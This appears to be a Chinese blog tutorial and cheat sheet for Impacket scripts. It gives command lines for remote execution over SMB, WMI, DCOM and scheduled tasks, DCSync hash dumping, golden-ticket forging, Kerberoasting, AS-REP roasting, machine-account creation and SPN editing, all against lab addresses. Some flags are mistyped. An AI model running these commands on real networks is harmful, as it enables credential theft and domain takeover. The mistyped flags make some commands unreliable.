当前位置: 首页 > news >正文

Impacket工具使用

Impacket工具说明

Impacker是用户处理网络协议的Python类集合,用于对SAB1-3或IPv4/IPv6
上的TCP/UPD/ICMP/IGMP/ARP/IPv4/IPv6/SMB/MSRPC/NTLM/Kerberos/WMI/LDAP
等进行低级的编程访问,数据包可以从头开始构建,也可以从原始数据包中解析,
面向对象API使用处理协议的深层结构变得简单。

psexec.py

psexec.py是用于远程连接的工具
语法:使用明文密码administrator	账号passrrrr		密码psexpc.py administrator:passrrrr@10.211.55.33使用密码Hashpsexec.py administrator@10.133.22.22 -hashs xxxxxx
连接原理:通过管道上传一个二进制文件到目标机器C:\Windows目录下,并在远程目标机器上创建一个服务,然后通过服务运行二进制文件,运行结束后删除服务和二进制文件,由于创建或删除服务会产生大量的日志,因此会在攻击溯源时通过日志反推攻击流程。
连接条件:需要目标开启445端口,IPC$和非IPC$的任意可写共享,psexec要往目标主机写入二进制文件,默认情况下C$和admin$是开启的。

在这里插入图片描述

smbexec.py

连接原理:smbexec跟psexec很相似是RemComSvc技术的工具,可以在文件共享远程系统中创建服务,将运行的命令写在bat脚本中执行,将执行结果写在文件中获取执行命令的输出,最后将bat文件和输出文件与服务全部删除,因为会创建服务因此会产生大量的日志。
连接条件:使用smbexec连接需要目标开启445端口,IPC$和非IPC$的任意可写共享,可以使用除ipc$共享外的所有其他共享,该脚本默认使用C$,可以使用-share参数指定其他共享。
连接语法:使用明文密码:smbexec.py administrator:passrrrr@10.211.55.33使用密码Hashsmbexec.py administrator@10.133.22.22 -hashs xxxxxxsmbexec.py administrator@10.133.22.22 -hashs xxxxxx	-codec gbk	解决乱码	smbexec.py administrator@10.133.22.22 -hashs xxxxxx	-share admin$	指定其他方式共享连接

在这里插入图片描述

wmiexec.py

该脚本主要通过WMI实现远程执行,躲避杀软最好。
连接条件:需要目标开启135和445端口,并且依赖于admin$,135端口用于执行命令,445端口用于读取回显。
连接语法:使用明文密码:wmiexec.py administrator:passrrrr@10.211.55.33使用密码Hashwmiexec.py administrator@10.133.22.22 -hashs xxxxxxwmiexec.py administrator@10.133.22.22 -hashs xxxxxx	-codec gbk	解决乱码	

在这里插入图片描述

atexec.py

通过脚本执行计划任务在主机上实现命令执行,并返回执行后的输出结果。
连接语法:使用明文密码:atexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)使用密码Hashatexec.py administrator@10.133.22.22 whoami -hashs xxxxxxatexec.py administrator@10.133.22.22 whoami -hashs xxxxxx	-codec gbk	解决乱码	

dcomexec.py

通过DCOM在目标上实现命令执行,并返回命令执行后结果
连接语法:使用明文密码:dcomexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)使用密码Hashdcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxxdcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx	-codec gbk	解决乱码	

smbclient.py

该脚本用于向服务器上传文件
连接成功后的命令:info	查看信息shares	查看开启的共享use xx	使用指定的共享ls		查看当前路径cd 		切换目录put xx	上传文件get xx 	下载文件
连接语法(工作组):smbclient.py administrator:passrrrr@10.210.22.3smbclient.py administrator@10.133.22.22 -hashs xxxxxx:xxxxx
连接语法(域环境)smbclient.py test/administrator:passrrrr@10.210.22.3smbclient.py test/administrator@10.133.22.22 -hashs xxxxxx:xxxxx

在这里插入图片描述

secretsdump.py

该脚本是利用DCSync功能导出域内用户Hash,需要连接的账号和密码具有DCSync权限。
获取域内用户所有hashsecretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc
使用卷影复制服务导出域内所有hashsecretsdump.py 	test/administrator:passrrrr@10.210.22.3 -use-vss
获取域内指定krbtgt用户的Hashsecretsdump.py 	test/administrator:passrrrr@10.210.22.3 -just-dc-user "test\krbtgt"

在这里插入图片描述

如果当前导入了域管理员的票据则不需要密码可以直接导出Hashsecretsdump.py -k -no-pass AD.test.com -just-dc-user administrator

lookupsid.py(获取域内的SID)

10.210.22.3域控IP
lookupsid.py test/administrator:passrrrr@10.210.22.3 -just-dc-user --domain-sids

ticketer.py(黄金票据)

如果已知目标域krbtgt用户Hash和目标域的SID,则可以利用该脚本执行如下命令生成黄金票据。
krbtgt Hash:krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
域SID:S-1-5-21-1873282888-450677352-877677906
生成黄金票据:ticketer.py -domain-sid S-1-5-21-1873282888-450677352-877677906 -nthash 66b71cfe5adbef5ec5ce4d80c78bc6c9 -domain test.com administrator

在这里插入图片描述

导入票据:export KRB5CCNAME=administrator.ccache
导出administrator用户的Hashsecretsdump.py -k -no-pass administrator@WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 -just-dc-user administrator需要注意:需要proxychains代理到域内机器才行。

在这里插入图片描述

否则出现一下错误:

在这里插入图片描述

getTGT.py(ntlm hash或者明文密码请求拿到TGT凭据)

密码另外输入可以在特殊字符的密码情况下使用
getTGT.py test/administrator@10.21.33.4 -dc-ip 10.21.33.4 -debug
直接使用明文密码
getTGT.py test/administrator:Password123@10.21.33.4 -dc-ip 10.21.33.4 -debug
使用ntlm hash请求TGT
getTGT.py test.com/administrator:@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27

在这里插入图片描述
在这里插入图片描述

getST.py(请求ST)

getST.py -dc-ip 10.211.55.4 -spn cifs/WIN-VJ3RFUO09V9.test.com xie.com/administrator:Password123

在这里插入图片描述

导入票据:export KRB5CCNAME=administrator.ccache
访问该服务:smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4

在这里插入图片描述

使用上一步使用getTGT.py生成的TGT票据指定SPN的ST导入票据export KRB5CCNAME=administrator@10.211.55.4.ccache生成新的票据getST.py -k -no-pass -spn cifs/WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 test/administrator@10.211.5.4导入票据export KRB5CCNAME=administrator@10.211.55.4.ccache访问指定服务smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4

samrdump.py(枚举域内用户)

samrdump.py test/administrator:Password123@10.211.55.4 -csv

在这里插入图片描述

addcomputer.py(增加机器账号)

进行基于资源约束委派攻击的时候需要一个机器账号进行控制,于是使用该脚本
可以创建一个机器账号,使用时需要一个有效的域用户,支持两种方式创建一种是
SAMR协议,另一种是LDAPS协议。
SAMR协议创建机器账号:addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method SAMR -debug

在这里插入图片描述

LDAPS协议创建机器账号:addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method LDAPS -debug
修改已经创建的机器账号密码(添加-no-add参数):addcomputer.py -computer-name 'mmm123$' -computer-pass 'newPassword123' -dc-ip 10.211.55.4 'test.com/hack:Password123' -method SAMR -debug -no-add

在这里插入图片描述

也可以使用域管账号修改任意机器账号密码跟上面参数是一样的指定域控机器账号即可,下面将域控账号密码重置为root123

在这里插入图片描述

使用bloodhound发现修改密码的机器账号可以使用

在这里插入图片描述

GetNPUsers.py(AS-REP Roasting)

用于AS-REP Roasting攻击,如果攻击者不在域中,可以使用该脚本执行检查users.txt中的用户是否
设置了不需要Kerberos预身份认证的属性,并且获取该属性账号Hash加密的Login Session Key。
GetNPUsers.py -dc-ip 10.211.55.4 -usersfile users.txt -format john test.com/

GetUserSPNs.py(Kerberoasting)

GetUserSPNs.py脚本可以在域外查询指定域的SPN,需要提供域账号和密码。
查询hack用户下的SPN
GetUserSPNs.py -dc-ip 10.211.55.4 test.com/hack:Password123
将hack用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt
使用hack用户下将test用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt -request-user test

ticketConverter.py(票据转换)

可以将.ccache和.kirbi格式的票据进行相互转换。
ticketConverter.py hack.ccache hack.kirbi
ticketConverter.py hack.kirbi hack.ccache

在这里插入图片描述

addspn.py(增加/删除/查询SPN)

可以用户增加/删除SPN/,增加需要SPN需要域管权限删除SPN只需要目标属性修改权限即可。
查询目标SPN,需要提供一个spn参数,可以是不存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s aa/aa -q 10.211.55.4
删除目标SPN,需要提供一个SPN参数且必须是存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s HOST/WIN-VJ3RFUO09V9.test.com -r 10.211.55.4
只有域管才可以添加SPNaddspn.py -u 'test.com/administrator' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s test/test -a 10.211.55.4
http://www.lryc.cn/news/16482.html

相关文章:

  • 华为OD机试真题Python实现【RSA 加密算法】真题+解题思路+代码(20222023)
  • App.vue中读取不到路由的信息
  • Lambda表达式详解
  • 网关的通用设计框架
  • API 接口应该如何设计?如何保证安全?如何签名?如何防重?
  • LeetCode-131. 分割回文串
  • 【C++】string类的基本使用
  • 【第一章 - 绪论】- 数据结构(近八千字详解)
  • QIfw制作软件安装程序
  • 【C++】C++入门(上)
  • 5. Kimball维度建模常用术语及概念(一)
  • 内核调试之Panic-Oops日志分析
  • 论文解读 | [AAAI2020] 你所需要的是边界:走向任意形状的文本定位
  • 数据挖掘流程简单示例10min
  • KDJB1200六相继电保护测试仪
  • 从WEB到PWA 开发-发布-安装
  • FPGA纯vhdl实现MIPI CSI2 RX视频解码输出,OV13850采集,提供工程源码和技术支持
  • 《NFL橄榄球》:卡罗来纳黑豹·橄榄1号位
  • 我说我为什么抽不到SSR,原来是这段代码在作祟...
  • MySQL MGR 集群新增节点
  • 【单目标优化算法】蜣螂优化算法(Dung beetle optimizer,DBO)(Matlab代码实现)
  • 【C++】类和对象入门必知
  • day38 动态规划 | 509、斐波那契数 70、爬楼梯 746、使用最小花费爬楼梯
  • 2023年备考软考必须知道的6件事
  • GLOG如何控制输出的小数点位数
  • 2022年全国职业院校技能大赛(中职组)网络安全竞赛试题A(6)
  • Safety-Gym环境配置与安
  • 3月再不跳槽,就晚了
  • HTTP cookie格式与约束
  • docker基础